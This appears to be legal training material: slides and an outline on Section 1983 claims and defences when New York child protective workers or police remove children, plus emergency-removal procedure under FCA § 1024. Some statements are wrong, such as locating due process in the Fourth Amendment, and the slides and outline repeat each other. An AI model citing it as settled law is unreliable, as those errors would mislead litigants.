   - Defendants (Police, Social Workers, Case Workers, Emergency Medical Technicians, Etc.) deprived parents and children of their constitutional rights when the children were removed from parent's custody and care with no lawful basis (w/o consent, probable cause, consent, and in the absence of exigent circumstances.)
4. **False Imprisonment of Children**
   - Defendants (Police, Social Workers, Case Workers, Emergency Medical Technicians, Etc.) intended to and did confine children and the children were conscious of their confinement, did not consent to it, and did not reasonably believe they were free to leave; and the confinement was in no way privileged.

5. **Fourth Amendment Seizure Interviews**
   - Defendants conducted an unlawful Fourth Amendment violation seizure and were not justified because there was no reasonable cause or other legal justification to suspect neglect or abuse at the time she was seized and interviewed.

6. **Fourth Amendment Seizure Medical Examinations**
   - Medical examinations ordered by defendants (Police, Social Workers, Case Workers, Emergency Medical Technicians, Etc.) were without consent, probable cause, court order, belief of exigent circumstances, or conditions presented a danger to children as a direct violation of Parent’s Due Process rights.
7. **Abuse of Process in Application to Return Hearings**
   - Defendants (Police, Social Workers, Case Workers, Emergency Medical Technicians, County Attorneys Etc.) acted in actual malice, intent was to do harm by, and collateral objects were (a) falsely testifying in the application to return hearing that children were abused and neglected, (b) to obtain a family court endorsement for defendants’ unlawful removal and cover up defendants’ misconduct, (c) to punish parents for exercising their right to Due Process, (d) to leverage parents into accepting unfavorable court outcomes, and (e) to create a false narrative that children were in need for Department of Social Services services.

8. **Abuse of Process in Violation and Emergency Removal Hearings**
   - Defendants (Police, Social Workers, Case Workers, Emergency Medical Technicians, County Attorneys Etc.) inciting an action contesting parents application to return, acted in actual malice, intent to do harm by, and collateral objectives were:
     - (a) to coerce plaintiffs into accepting unfavorable resolutions in family and criminal court disputes,
     - (b) to dupe the family court into removing children,
     - (c) to dupe the family court into holding parents in contempt of court for violation of its protective order, and
     - (d) to extort adult plaintiffs into signing forms and releases not required by the protective order.
9. **Abuse of Process and Malicious Prosecution**

- **Abuse of Process:**
  - Defendants (Police, Social Workers, Case Workers, Emergency Medical Technicians, County Attorneys Etc.) initiate a bogus neglect petition/trial, acted in actual malice, intent was to do harm, and collateral objectives were:
    - (a) to testify that untruthfully which could find the parents had been neglectful,
    - (b) to compel parents into accepting an unfavorable resolution to family and criminal court disputes, and
    - (c) to legitimize defendants’ unlawful acts in violation of parent and child’s constitutional rights.

- **Malicious Prosecution:**
  - Defendant (Police, Social Workers, Case Workers, Emergency Medical Technicians, County Attorneys Etc.) were directly and actively involved, did not make a complete and full statement of facts, acted with actual malice, without probable cause, used fraud and perjury, misrepresented and falsified evidence, withheld exculpatory evidence, in the initiation and continuation of criminal proceedings against parents when dealing with a District Attorney’s Office
    - Defendants’ actions were a perversion of proper legal process.
    - Defendants’ prosecution was not privileged, was maintained for over nine months, and ultimately dismissed.
10. **False Arrest of Parents**
   - Defendants (Police, Social Workers, Case Workers, Emergency Medical Technicians, County Attorneys Etc.) intended to confine/arrest parents and the parents were conscious of their confinement, did not consent, were not free to leave, and confinement was not privileged and without probable cause.

11. **Denial of Right to a Fair Trial**
   - Defendants (Police, Social Workers, Case Workers, Emergency Medical Technicians, County Attorneys Etc.) withholds exculpatory evidence from District Attorney's Office and forwards fabricated evidence, false sworn statements, and perjured testimony to District Attorney’s Office.

12. **Substantive Due Process Deprivation of Constitutional Rights**
   - Acts of Defendants (Police, Social Workers, Case Workers, Emergency Medical Technicians, County Attorneys Etc.) were intended to and did deprive parents of substantive rights guaranteed by the US Constitution and State of New York.
13. **Municipal Liability**

- “[A] municipality can be held liable under Section 1983 if the deprivation of the plaintiff’s rights under federal law is caused by a governmental custom, policy, or usage of the municipality.” *Jones v. Town of East Haven*, 691 F.3d 72, 80 (2d Cir. 2012) (citations omitted).

- Policies and Practices: There are policies and practices of using legal process to achieve illegitimate collateral objectives;

- Failure to Train

- Failure to Supervise

14. **Conspiracy to Violate Constitutional Rights**

- Defendants planned and agreed on action and subsequently implemented their actions to deprive plaintiffs of their constitutional rights.

- “A plaintiff must demonstrate that a defendant acted in a willful manner, culminating in an agreement, understanding or ‘meeting of the minds,’ that violated the plaintiff’s rights . . . secured by the Constitution or federal courts.” *Malsh v. Austin*, 901 F. Supp. 757, 763 (S.D.N.Y. 1995) (some internal quotation marks and citation omitted).
POSSIBLE 1983 CLAIMS

13. **Equal Protection**

- To state a claim for selective enforcement of the law based on racial or religious identity, a plaintiff must allege "(1) the person, compared with others similarly situated, was selectively treated, and (2) the selective treatment was motivated by an intention to discriminate on the basis of impermissible considerations, such as race or religion." Hu v. City of New York, 927 F.3d 81, 91 (2d Cir. 2019) (citation omitted).

- And to succeed under a “class of one” theory, the plaintiff must demonstrate “[1] that [they have] been intentionally treated differently from others similarly situated and [2] that there is no rational basis for the difference in treatment.” Id. (citation omitted).

**Examples:**

- Defendants intentionally discriminated against parents on the basis of race, religion, and economic status.
- Defendants treated family differently from other families in that children were removed;
- Parents were investigated, arrested, and faced allegations in family and criminal court; and
- Parents endured prolonged criminal and family court litigation when other families were not investigated.
DEFENSES TO 1983 CLAIMS

1. **The First Amended Complaint Violates Rule 8**
   - The First Amended Complaint should be dismissed when it fails to comply with the “short and plain statement” requirement of Rule 8 of the Federal Rules of Civil Procedure.

2. **Absolute Immunity**
   - Claims against Police, Social Workers, Case Workers, County Attorneys, District and Assistant District Attorneys are barred by absolute prosecutorial immunity.
DEFENSES TO 1983 CLAIMS

3. **Qualified Immunity**

   - **Federal Standard:**
     - Qualified immunity shields officials “from liability for civil damages insofar as their conduct does not violate clearly established statutory or constitutional rights of which a reasonable person would have known.” *Harlow v. Fitzgerald*, 457 U.S. 800, 818, 102 S.Ct. 2727, 2738, 73 L.Ed.2d 396 (1982).
     - A right is clearly established when “[t]he contours of the right [are] sufficiently clear that a reasonable official would understand that what he is doing violates that right.... [T]he unlawfulness must be apparent.” *Anderson v. Creighton*, 483 U.S. 635, 640, 107 S.Ct. 3034, 3039, 97 L.Ed.2d 523 (1987). Even where a right is clearly established, an official is entitled to qualified immunity nevertheless if it was objectively reasonable for the public official to believe that his acts did not violate that right. *Kaminsky v. Rosenblum*, 929 F.2d 922, 925 (2d Cir.1991).

   - **NY Social Services Law § 419:**
     - Creates qualified immunity from civil and criminal liability resulting from an investigation conducted under Social Services Law Article 6 as long as the individual conducting that investigation was acting within the scope of his or her employment and did not engage in willful misconduct or gross negligence. *Tuff v. Guzman*, 2012 WL 4006463 (N.D.N.Y. 2012); citing *Preston v. New York*, 223 F.Supp.2d 452 (S.D.N.Y. Jun.27, 2002) (citation omitted), aff'd,87 Fed. App'x 221 (2d Cir.2004); see also *Trombley v O'Neill*, 929 F.Supp.2d 81 (N.D.N.Y. 2013).
DEFENSES TO 1983 CLAIMS

4. **Eleventh Amendment Immunity**
   - The Eleventh Amendment, with few exceptions, bars federal courts from entertaining suits brought by a private party against a state in its own name. *Ying Jing Gan v. City of New York*, 996 F.2d 522 (2d Cir. 1993). In their role as prosecutors, the County Defendants acted on the behalf of the State of New York. Therefore, claims against the County Defendants in their official capacities are barred by the Eleventh Amendment. *Woodward v Office of District Attorney*, 689 F.Supp.2d 655, 659 (S.D.N.Y. 2010).

5. **No Personal Involvement**
   - 2nd Circuit: Personal involvement is a prerequisite to an award of damages under § 1983.
     - Supervisory officials may not be held liable merely because they held positions of authority.
SPECIFIC 1982 CLAIMS AND APPLICABLE DEFENSES

**First Amendment**
- Retaliation, Protected Speech, and Concrete Harm
- Defense: Failure to State a Claim

**Fourth Amendment Illegal Entry and Search**
- Probable Cause to enter based upon a confirmed report of suspected child neglect. See Callahan v. City of New York, 90 F.Supp.3d 60, 69-70 (E.D.N.Y.2015)
- Qualified immunity pursuant to Federal law and/or Section 419 of the New York State Social Services Law.
SPECIFIC 1982 CLAIMS AND APPLICABLE DEFENSES

Fourth Amendment Unlawful Seizure Removal/Imprisonment of Children
• Probable cause to effectuate the removal based upon a credible report of suspected child neglect confirmed by sources; and
• Qualified immunity pursuant to Federal law and/or Section 419 of the New York State Social Services Law.

Fourth Amendment Seizure Interviews
• Probable cause and a reasonable basis to conduct an investigation regarding suspected neglect of a child based upon a credible report of suspected child neglect confirmed by sources; and
• Qualified immunity pursuant to Federal law and/or Section 419 of the New York State Social Services Law because it was “objectively reasonable under the circumstances.” Wilkinson ex rel. Wilkinson, 182 F.3d at 104.
SPECIFIC 1982 CLAIMS AND APPLICABLE DEFENSES

Fourth Amendment Seizure Medical Examination of Children
• No personal involvement

Abuse of Process in Application to Return Hearings
• “§ 1983 liability may not be predicated on a claim of malicious abuse of civil process”. Green v. Mattingly, 585 F.3d 97, 104 (2d Cir, 2009).
• The Second Circuit only recognizes claims for malicious abuse of criminal process under 42 U.S.C. § 1983. However, the Second Circuit has consistently rejected claims based on claims of malicious abuse of civil process.

Abuse of Process/Malicious Prosecution
• Federal absolute prosecutorial immunity, and statutory immunity pursuant to New York Social Services Law § 419.
• Social Services Law § 419 bars State law claim for malicious prosecution.
SPECIFIC 1982 CLAIMS AND APPLICABLE DEFENSES

False Arrest of Parents
• No personal involvement (typically only police).

Denial of Right to a Fair Trial
• "An individual suffers a constitutional deprivation of a right to a fair trial when an (1) investigating official (2) fabricates evidence (3) that is likely to influence a jury's decision, (4) forwards that information to prosecutors, and (5) the plaintiff suffers a deprivation of liberty as a result." Cook v. City of New York, 243 F.Supp.3d 332, 351 (E.D.N.Y.2017)(internal quotation and citation omitted).
• A plaintiff must also show that he alleged fabrication caused a deprivation of liberty. Mortimer v. City of New York, 2018 WL 1605982 (S.D.N.Y., March 29, 2018).
Substantive Due Process Deprivation of Constitutional Right(s)

• It is established, however, that government officials may remove a child from his or her parents' custody before a hearing is held where there is an objectively reasonable basis for believing that a threat to the child's health or safety is imminent. See, e.g., Cecere v. City of New York, 967 F.2d 826, 829 (2d Cir.1995); Hurlman v. Rice, 927 F.2d 74, 80 (2d Cir.1991); Robison v. Via, 821 F.2d 913, 921–22 (2d Cir.1987); Duchesne v. Sugarman, 566 F.2d 817, 826 (2d Cir.1977).

• Where there has been an emergency removal of a child from a parent's custody without a hearing, due process requires that the state procedures provide the parent an opportunity to be heard at a reasonably prompt time after the removal. See generally Armstrong v. Manzo, 380 U.S. at 552, 85 S.Ct. at 1191.

Municipal Liability

• Failure to State a Claim; Federal qualified immunity; and Statutory immunity pursuant to New York Social Services Law.
SPECIFIC 1982 CLAIMS AND APPLICABLE DEFENSES

Conspiracy to Violate Constitutional Rights

- "A violated constitutional right is a natural prerequisite to a claim of conspiracy to violate such right. Thus, if a plaintiff cannot sufficiently allege a violation of his rights, it follows that he cannot sustain a claim of conspiracy to violate those rights." Fitzgerald v. City of Troy, N.Y., 2012 WL 5986547 at *23 (N.D.N.Y., 2012). See also: Trombley, supra at 97.

Equal Protection

- In order to state an equal protection claim, a plaintiff must demonstrate that they are a member of a protected class, that similarly situated persons were treated differently, and that there was no rational basis for the difference in treatment. Trombley, supra, at 96.

- Probable cause and a rational basis for investigations and prosecutions.
Determining When Child May Be Removed Prior to Court Intervention

• Determine whether case falls under abuse and neglect provisions. FCA § 1012 and/or SSL § 424.
  • “Abused child” means a child less than eighteen years of age whose parent or other person legally responsible for his care. FCA § 1012(e).
    i. Inflicts or allows to be inflicted physical injury by other than accident which causes a substantial risk of death, serious or protracted disfigurement, impairment of physical or emotional health, or impairment of the function of bodily organ.
    i. Creates or allows substantial risk of physical injury which would likely cause death, serious disfigurement, impairment of physical or emotional health, loss or impairment of the function of bodily organ.
    i. (A) Commits or allows to be committed an offense against a child defined by N.Y. Penal Law § 130; (B) allows, permits or encourages a child to engage in any act described in N.Y. Penal Law §§ 230.25, 230.30, 230.32 and 230.34-a; (C) Commits any acts described in N.Y. Penal Law §§ 255.25, 255.26 and 255.27; (D) allows child to engage in acts described in N.Y. Penal Law § 263; or (E) permits or encourages child to engage in any offense that would render such child a victim of sex trafficking pursuant to 22 U.S.C. 7102.
Determining When Child May Be Removed Prior to Court Intervention

• Determine whether case falls under abuse and neglect provisions. FCA § 1012 and/or SSL § 424.

  • “Neglected child” means a child less than eighteen years of age. FCA § 1012(f).
  • Whose physical, mental or emotional condition has been impaired or is in imminent danger of becoming impaired as a result of the failure of his parent or other person legally responsible for his care to exercise a minimum degree of care. FCA § 1012(f)(i).
PREVENTION: HOW TO HANDLE A CASE WHEN SUSPECTING CHILD NEGLECT AND/OR ENDANGERMENT

- Consider as counsel for agency, parent, or child, whether family court intervention is necessary to protect child. SSL § 424;

- Be mindful, in conducting review, of possible criminal implications of child protective investigation and case;

- Be mindful, in conducting review, of possible cultural sensitivities;

- Document case notes with the intent that possible judicial intervention is to follow;

- Protect due process rights of parents and families, when family court intervention is permissible;

- Attempt to settle any outstanding issues regarding CPS investigation and devise temporary resolution of matter if child has been temporarily removed and petition is not yet filed;

- Attempt to arrange for alternative child care, if warranted, with consent of CPS and parent without court involvement as part of required reasonable efforts to prevent placement of child into foster care;
PREVENTION: HOW TO HANDLE A CASE WHEN SUSPECTING CHILD NEGLECT AND/OR ENDANGERMENT

• Determine whether emergency removal is justified under statutory criteria. FCA § 1024; Tenenbaum v. Williams, 193 F.3d 581 (2d Cir. 1999); Nicholson v. Scoppetta, 3 N.Y.3d 357, 787 N.Y.S.2d 196, 820 N.E.2d 840 (2004).

• Emergency Removal Without Court Order:
  • Such person has reasonable cause to believe that the child is in such circumstance or condition that his or her continuing in said place of residence or in the care and custody of the parent or person legally responsible for the child's care presents an imminent danger to the child's life or health; and
  • There is not time enough to apply for an order under section one thousand twenty-two of this article. FCA § 1024(a)(i)-(ii).
PREVENTION: HOW TO HANDLE A CASE WHEN SUSPECTING CHILD NEGLECT AND/OR ENDANGERMENT

• After Removal:
  • He shall bring the child immediately to a place approved for such purpose by the local social services department, unless the person is a physician treating the child and the child is or will be presently admitted to a hospital, and
  • Make every reasonable effort to inform the parent or other person legally responsible for the child's care of the facility to which he has brought the child, and
  • Give, coincident with removal, written notice to the parent or other person legally responsible for the child's care of the right to apply to the family court for the return of the child pursuant to section one thousand twenty-eight of this act, and of the right to be represented by counsel in proceedings brought pursuant to this article and procedures for obtaining counsel, if indigent, and
  • inform the court and make a report pursuant to title six of the social services law, as soon as possible.

FCA § 1024(b)(i)-(iii).
PREVENTION: HOW TO HANDLE A CASE WHEN SUSPECTING CHILD NEGLECT AND/OR ENDANGERMENT

Documentation

• Investigation – Sources
  • Speak with the source(s) who alleged the complaint of suspected abuse or neglect.
  • Is the source credible?

• Thought process – Considerations
  • What was considered in the determination to remove the child?

• Alternatives to Removal

• Availability/Access to the Court
Child Neglect and Endangerment Proceedings and 1983 Claims: How To Avoid Getting Sued and How To Handle If You Do

I. Possible 1983 Claims

   i. To state a First Amendment retaliation claim, a plaintiff must show that:
      1. He/She has a right protected by the First Amendment;
      2. The defendant’s actions were motivated or substantially caused by individuals exercise of that right; and
      3. The defendant’s actions caused the individual some injury.
         a. Smith v. Campbell, 782 F.3d 93, 100 (2d Cir. 2015)(citation omitted).
   ii. Child statements to defendants (Police, Social Workers, Case Workers, Emergency Medical Technicians, Etc.) are constituted protected speech under the Free Speech Clause of the First Amendment.

b. 42 U.S.C. § 1983 – Fourth Amendment Illegal Entry and Search
   i. Defendants (Police, Social Workers, Case Workers, Emergency Medical Technicians, Etc.) enter and search a home and/or technology (Cell phones, computers, etc.) without a search warrant, probable cause, consent, and in the absence of exigent circumstances.

   i. The integrity of the family unit is a constitutional right protected by the Due Process Clause of the Fourth Amendment.
   ii. Pursuant to Due Process guarantees under the Fourth Amendment, Parents have a protected liberty interest in the uninterrupted care and custody of their children.
   iii. Children have a protected liberty interest in the care and guidance of their parents.
   v. Defendants (Police, Social Workers, Case Workers, Emergency Medical Technicians, Etc.) deprived parents and children of their constitutional rights when the children were removed from parent’s custody and care.
   vi. There is no lawful basis for seizure without consent, probable cause, court order, and belief that exigent circumstances or conditions presented a danger to children that would allow for removal.

d. 42 U.S.C. § 1983 – False Imprisonment of Children
i. Defendants (Police, Social Workers, Case Workers, Emergency Medical Technicians, Etc.) intended to and did confine children and the children were conscious of their confinement, did not consent to it, and did not reasonably believe they were free to leave; and the confinement was in no way privileged.
   1. Privileged: seizure was lawful based upon consent, probable cause, court order, and belief that exigent circumstances or conditions presented a danger to children that would allow for removal.

e. 42 U.S.C. § 1983 – Fourth Amendment Seizure Interview
   i. Defendants conducted an unlawful Fourth Amendment violation seizure and were not justified because there was no reasonable cause or other legal justification to suspect neglect or abuse at the time she was seized and interviewed.

f. 42 U.S.C. § 1983 – Fourth Amendment Seizure Medical Examination of Children
   i. Parents have a protected liberty interest in directing the medical care of their children.
   ii. Medical examinations ordered by defendants (Police, Social Workers, Case Workers, Emergency Medical Technicians, Etc.) were without consent, probable cause, court order, belief of exigent circumstances, or conditions presented a danger to children as a direct violation of Parent’s Due Process rights.

g. 42 U.S.C. § 1983 – Abuse of Process in Application to Return Hearing
   i. Defendants (Police, Social Workers, Case Workers, Emergency Medical Technicians, County Attorneys Etc.) acted in actual malice, intent was to do harm by, and collateral objectives were: (a) falsely testifying in the application to return hearing that children were abused and neglected, (b) to obtain a family court endorsement for defendants’ unlawful removal and cover up defendants’ misconduct, (c) to punish parents for exercising their right to Due Process, (d) to leverage parents into accepting unfavorable court outcomes, and (e) to create a false narrative that children were in need of services from the Department of Social Services.

   i. Defendants (Police, Social Workers, Case Workers, Emergency Medical Technicians, County Attorneys Etc.) inciting an action contesting parents application to return, acted in actual malice, intent to do harm by, and collateral objectives were:
      1. (a) to coerce plaintiffs into accepting unfavorable resolutions in family and criminal court disputes,
      2. (b) to dupe the family court into removing children,
      3. (c) to dupe the family court into holding parents in contempt of court for violation of its protective order, and
4. (d) to extort adult plaintiffs into signing forms and releases not required by the protective order.

i. 42 U.S.C. § 1983 – Abuse of Process/Malice Prosecution
   i. Defendants (Police, Social Workers, Case Workers, Emergency Medical Technicians, County Attorneys Etc.) initiate a bogus neglect petition/trial, acted in actual malice, intent was to do harm, and collateral objectives were:
      1. (a) to testify that untruthfully which could find the parents had been neglectful,
      2. (b) to compel parents into accepting an unfavorable resolution to family and criminal court disputes, and
      3. (c) to legitimize defendants’ unlawful acts in violation of parent and child’s constitutional rights.
   ii. Defendant (Police, Social Workers, Case Workers, Emergency Medical Technicians, County Attorneys Etc.) were directly and actively involved, did not make a complete and full statement of facts, acted with actual malice, without probable cause, used fraud and perjury, misrepresented and falsified evidence, withheld exculpatory evidence, in the initiation and continuation of criminal proceedings against parents when dealing with a District Attorney’s Office
      1. Defendants’ actions were a perversion of proper legal process.
      2. Defendants’ prosecution was not privileged, was maintained for over nine months, and ultimately dismissed.

   i. Defendants (Police, Social Workers, Case Workers, Emergency Medical Technicians, County Attorneys Etc.) intended to confine/arrest parents.
   ii. Parents were conscious of their confinement, did not consent to the confinement, were not free to leave, and parent’s confinement was not privileged by any legal justification and was without probable cause.

k. 42 U.S.C. § 1983 – Denial of a Right to a Fair Trial
   i. Defendants (Police, Social Workers, Case Workers, Emergency Medical Technicians, County Attorneys Etc.) withhold exculpatory evidence from District Attorney’s Office and forwarded fabricated evidence, false sworn statements, and perjured testimony to District Attorney’s Office.
   ii. Materials forwarded to the District Attorney’s Office would have adversely influenced a jury decision.
   iii. As a result of the defendants’ unlawful actions, parents were arrested, suffered a deprivation of liberty, and spent months in protracted criminal court litigation.

   i. Acts of Defendants (Police, Social Workers, Case Workers, Emergency Medical Technicians, County Attorneys Etc.) were intended to and did
deprive parents of substantive rights guaranteed by the US Constitution and State of New York.

ii. “Substantive due process protects individuals against government action that is arbitrary, conscience-shocking, or oppressive in a constitutional sense, but not against government action that is ‘incorrect or ill-advised.’” Lowrance v. Achtyl, 20 F.3d 529, 537 (2d Cir. 1994) (citations omitted).

iii. “To establish a violation of substantive due process rights, a plaintiff must demonstrate that the state action was ‘so egregious, so outrageous, that it may fairly be said to shock the contemporary conscience.’” Okin v. Vill. of Cornwall-On-Hudson Police Dep’t, 577 F.3d 415, 431 (2d Cir. 2009) (quoting County of Sacramento v. Lewis, 523 U.S. 833, 847 n. 8 (1998)).

m. 42 U.S.C. § 1983 – Municipal Liability

i. Standard of Review:
1. “[A] municipality can be held liable under Section 1983 if the deprivation of the plaintiff’s rights under federal law is caused by a governmental custom, policy, or usage of the municipality.” Jones v. Town of East Haven, 691 F.3d 72, 80 (2d Cir. 2012) (citations omitted).

ii. Policy and Practices:
1. There are policies and practices of using legal process to achieve illegitimate collateral objectives;
2. NY FCA § 1024 emergency removal notice unconstitutionally denies all parents Due Process and a New York State – created liberty interest.; and
3. There are policies and practices of entering and searching homes, without a warrant, consent of the guest, exigent circumstances, or probable cause.

iii. Failure to Train:
1. Failure to train personnel on the immediate danger requirements of NY FCA § 1024 or the Fourth Amendment necessity for exigent circumstances as a foundation for removal of children;
2. Failure to train personnel on the imminent risk and danger requirement of NY FCA § 1022, 1024, or 1027 or the Fourth Amendment necessity for exigent circumstances as a foundation for removal of children;
3. Failure to train on the lawful use of legal process provided to the Department of Social Services and the District Attorney’s Office under New York State Law; and
4. Failure to train personnel on the constitutional limits of the Fourth Amendment and the requirements of Due Process protections.

iv. Failure to Supervise:
1. Supervisory defendants directly participated in maintaining an unjust prosecution even after family court cases are dismissed;
2. Supervisory defendants directly participated in signing the spurious neglect and violation petitions;
3. Supervisory defendants directly participated in supervising the filing of the spurious emergency removal petition;
4. Supervisory defendants had knowledge legal process was being routinely used by the Department of Social Services to achieve illegitimate collateral objectives;
5. Supervisory defendants created policies and practices that fostered a culture where acts like racial and religious bigotry, perjury, manufacturing of evidence, suppression of evidence, unlawful use of legal process, and collusion to cover up unlawful acts are commonplace, tolerated and spoke of openly on Facebook, during sworn testimony, in courtrooms, meeting rooms, parking lots, and hallways;
6. Supervisory defendants were grossly negligent in supervision the subordinates listed in this complaint.

n. 42 U.S.C. § 1983 – Conspiracy to Violate Constitutional Rights
   i. To sustain a conspiracy claim under 42 U.S.C. § 1983, plaintiffs must prove the existence of “(1) an agreement between two or more state actors or between a state actor and a private entity; (2) to act in concert to inflict an unconstitutional injury; and (3) an overt act done in furtherance of that goal causing damages.” Morris v. Martin, No. 5:16-cv-601, 2019 WL 5457767, at *5 (N.D.N.Y. Oct. 23, 2019) (quoting Pangburn v. Culbertson, 200 F.3d 65, 72 (2d Cir. 1999)).
   ii. Put differently, “a plaintiff must demonstrate that a defendant acted in a willful manner, culminating in an agreement, understanding or ‘meeting of the minds,’ that violated the plaintiff’s rights . . . secured by the Constitution or federal courts.” Malsh v. Austin, 901 F. Supp. 757, 763 (S.D.N.Y. 1995) (some internal quotation marks and citation omitted).
   iii. Defendants planned and agreed on action and subsequently implemented their actions to deprived plaintiffs of their constitutional rights.
   iv. Unlawful and unconstitutional acts of defendants were part and parcel of an agreement and conspiracy between various individual defendants to maliciously violate parents civil rights.
   v. Each defendant was aware of, agreed to, and/or approved at at least one overt act in furtherance of their conspiracy.

   i. To state a claim for selective enforcement of the law based on racial or religious identity, a plaintiff must allege “(1) the person, compared with others similarly situated, was selectively treated, and (2) the selective treatment was motivated by an intention to discriminate on the basis of impermissible considerations, such as race or religion.” Hu v. City of New York, 927 F.3d 81, 91 (2d Cir. 2019) (citation omitted).
ii. And to succeed under a “class of one” theory, the plaintiff must demonstrate “[1] that [they have] been intentionally treated differently from others similarly situated and [2] that there is no rational basis for the difference in treatment.” Id. (citation omitted).

iii. Defendants intentionally discriminated against parents on the basis of race, religion, and economic status.

iv. Defendants treated family differently from other families in that children were removed;

v. Parents were investigated, arrested, and faced allegations in family and criminal court; and

vi. Parents endured prolonged criminal and family court litigation when other families were not investigated.

II.  Defenses to Possible 1983 Claims

a. THE FIRST AMENDED COMPLAINT VIOLATES RULE 8
   i. The First Amended Complaint should be dismissed when it fails to comply with the “short and plain statement” requirement of Rule 8 of the Federal Rules of Civil Procedure.
   ii. Example: A First Amended Complaint made up of forty-three (43) pages, and contains one-hundred and eighty (180) paragraphs of allegations. The prolixity of the First Amended Complaint is, in and of itself, grounds for dismissal.

b. ABSOLUTE IMMUNITY
   i. Claims against Police, Social Workers, Case Workers, County Attorneys, District and Assistant District Attorneys are barred by absolute prosecutorial immunity.
   ii. It is now well established that “a state prosecuting attorney who acted within the scope of his or her duties in initiating and pursuing a criminal prosecution is immune from a civil suit for damages under § 1983.” Imbler v. Pachtman, 424 U.S. 409, 410, 96 S.Ct. 984, 47 L.E.2d 128 (1976).
c. QUALIFIED IMMUNITY
   i. Federal Standard:
      2. Qualified immunity shields officials "from liability for civil damages insofar as their conduct does not violate clearly established statutory or constitutional rights of which a reasonable person would have known." Harlow v. Fitzgerald, 457 U.S. 800, 818, 102 S.Ct. 2727, 2738, 73 L.Ed.2d 396 (1982).
      3. A right is clearly established when "[t]he contours of the right [are] sufficiently clear that a reasonable official would understand that what he is doing violates that right.... [T]he unlawfulness must be apparent." Anderson v. Creighton, 483 U.S. 635, 640, 107 S.Ct. 3034, 3039, 97 L.Ed.2d 523 (1987). Even where a right is clearly established, an official is entitled to qualified immunity nevertheless if it was objectively reasonable for the public official to believe that his acts did not violate that right. Kaminsky v. Rosenblum, 929 F.2d 922, 925 (2d Cir.1991).
   ii. NY Social Services Law § 419:
      1. Creates qualified immunity from civil and criminal liability resulting from an investigation conducted under Social Services Law Article 6 as long as the individual conducting that investigation was acting within the scope of his or her employment and did not engage in willful misconduct or gross negligence. Tuff v. Guzman, 2012 WL 4006463 (N.D.N.Y. 2012); citing Preston v. New York, 223 F.Supp.2d 452 (S.D.N.Y. Jun.27, 2002) (citation omitted), aff'd, 87 Fed. App'x 221 (2d Cir.2004); see also Trombley v O'Neill, 929 F.Supp.2d 81 (N.D.N.Y. 2013).

d. ELEVENTH AMENDMENT IMMUNITY
   i. The Eleventh Amendment, with few exceptions, bars federal courts from entertaining suits brought by a private party against a state in its own name. Ying Jing Gan v. City of New York, 996 F.2d 522 (2d Cir.1993). In their role as prosecutors, the County Defendants acted on the behalf of the State of New York. Therefore, claims against the County Defendants in their official capacities are barred by the Eleventh Amendment. Woodward v Office of District Attorney, 689 F.Supp.2d 655, 659 (S.D.N.Y. 2010).

e. NO PERSONAL INVOLVEMENT
   i. It is well settled in the 2nd Circuit that "personal involvement of defendants in alleged constitutional deprivations is a prerequisite to an award of damages under § 1983." Wright v. Smith, 21 F.3d 496, 501 (2d Cir.1994) quoting Moffitt v. Town of Brookfield, 950 F.2d 880, 885 (2d Cir.1991); McKinnon v. Patterson, 568 F.2d 930, 934 (2d Cir.1977), cert. denied, 434
U.S. 1087, 98 S.Ct. 1282, 55 L.Ed.2d 792 (1978); see also *Johnson v. Glick*, 481 F.2d 1028, 1034 (2d Cir.) (“The rule in this circuit is that when monetary damages are sought under § 1983, the general doctrine of respondeat superior does not suffice and a showing of some personal responsibility of the defendant is required.”), cert. denied, 414 U.S. 1033, 94 S.Ct. 462, 38 L.Ed.2d 324 (1973).

ii. In order to prevail on a § 1983 cause of action against an individual, a plaintiff must show some “tangible connection” between the unlawful conduct and the defendant. *Bass v. Jackson*, 790 F.2d 260, 263 (2d Cir.1986).

iii. In other words, supervisory officials may not be held liable merely because they held positions of authority.

f. **Specific 1983a Claims and Applicable Defenses:**
   i. 42 U.S.C. § 1983 – First Amendment
      1. Failure to State a Claim
         a. In order to state a claim for retaliation under the First Amendment, a plaintiff must allege
            i. (1) his conduct was protected by the First Amendment,
            ii. (2) the defendants' actions were motivated or substantially caused by the exercise of that right, and
            iii. (3) defendants' actions effectively “chilled” the exercise of plaintiff's First Amendment right.
      
      ii. 42 U.S.C. § 1983 – Fourth Amendment Illegal Entry and Search
         1. Social Worker cannot be held liable for entering a home when there is probable cause to enter the home, based on a confirmed report of suspected neglect. See *Callahan v. City of New York*, 90 F.Supp.3d 60, 69-70 (E.D.N.Y.2015)(holding there was probable cause to enter a room and remove children, ages five or six and thirteen, when the two children were left unattended in the room for more than two hours).
         2. Assuming arguendo that the Social Worker entering and photographing a home violates the parents 4th Amendment rights, the Social Worker should be afforded qualified immunity pursuant to either Federal law and/or Section 419 of the New York State Social Services Law.
         3. The Second Circuit Court of Appeals, previously applied Section 419 in similar cases. See *Cornejo v. Bell*, 592 F.3d 121 (2d Cir.2010); *Powell*, 2012 WL 4052261 (N.D.N.Y.2012); *Tuff*, 2012 WL 4006463 (N.D.N.Y.2012).
iii. 42 U.S.C. § 1983 – Fourth Amendment Unlawful Seizure
Removal/Imprisonment of Children
1. These causes of action should be dismissed because (1) defendants had probable cause to effectuate the removal; and, (2) even if there was a Constitutional violation, which defendants deny, defendants should be afforded qualified immunity under either Federal qualified immunity or statutory immunity pursuant to New York Social Services Law.

1. Following a credible report of suspected neglect from the Central Registry, which was confirmed with the law enforcement source, and the information available to them at the time, Social Workers had probable cause and a reasonable basis to conduct an investigation regarding the suspected neglect of the children.
2. Assuming arguendo that the Social Worker’s interview of the children violated their Constitutional rights, which Defendants deny, the Social Worker should be afforded qualified immunity because interviewing the children as part of his investigation of reported neglect was objectively reasonable under the circumstances. Wilkinson ex rel. Wilkinson, 182 F.3d at 104.

v. 42 U.S.C. § 1983 – Fourth Amendment Seizure Medical Examination of Children
1. No personal involvement

1. It is well-settled that a § 1983 claim may not be predicated on a claim of malicious abuse of civil process.
2. “§ 1983 liability may not be predicated on a claim of malicious abuse of civil process". Green v. Mattingly, 585 F.3d 97, 104 (2d Cir, 2009).
3. At most, the Second Circuit only recognizes claims for malicious abuse of criminal process under 42 U.S.C. § 1983. However, the Second Circuit has consistently rejected claims based on claims of malicious abuse of civil process.

1. Defendants had probable cause to prosecute parents, and should be afforded immunity.


1. No personal involvement

ix. 42 U.S.C. § 1983 – Denial of a Right to a Fair Trial

